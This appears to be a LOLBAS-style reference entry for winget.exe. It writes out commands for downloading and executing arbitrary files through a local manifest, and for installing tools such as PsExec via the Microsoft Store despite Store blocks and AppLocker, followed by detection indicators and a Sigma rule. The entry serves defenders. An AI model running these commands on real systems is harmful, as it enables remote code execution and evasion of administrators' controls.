winget.exe

Commands

1. ExecuteLocal Administrator - required to enable local manifest setting T1105

   Download and execute an arbitrary file from the internet

   winget.exe install --manifest {PATH:.yml}

   Downloads a file from the web address specified in .yml file and executes it on the system. Local manifest setting must be enabled in winget for it to work: winget settings --enable LocalManifestFiles

   os: Windows 10, Windows 11

   Execute: RemoteExecute: EXE

2. DownloadUser T1105

   Download and install software from Microsoft Store, even if Microsoft Store App is blocked

   winget.exe install --accept-package-agreements -s msstore {name or ID}

   Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine. For example, use “Sysinternals Suite” or 9p7knl5rwt25 for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.

   os: Windows 10, Windows 11

3. AWL BypassUser T1105

   Download and install software from Microsoft Store, even if Microsoft Store App is blocked, and AppLocker is activated on the machine

   winget.exe install --accept-package-agreements -s msstore {name or ID}

   Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine, and even if AppLocker is active on the machine. For example, use “Sysinternals Suite” or 9p7knl5rwt25 for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.

   os: Windows 10, Windows 11

Detection

• IOCwinget.exe spawned with local manifest file
• IOCSysmon Event ID 1 - Process Creation
• Analysis https://saulpanders.github.io/2022/01/02/New-Year-New-LOLBAS.html
• Sigma https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winget_local_install_via_manifest.yml

Code samples

• https://gist.github.com/saulpanders/00e1177602a8c01a3a8bfa932b3886b0

Resources

• https://saulpanders.github.io/2022/01/02/New-Year-New-LOLBAS.html
• https://docs.microsoft.com/en-us/windows/package-manager/winget/#production-recommended
• https://www.youtube.com/watch?v=zuL7x4Wltto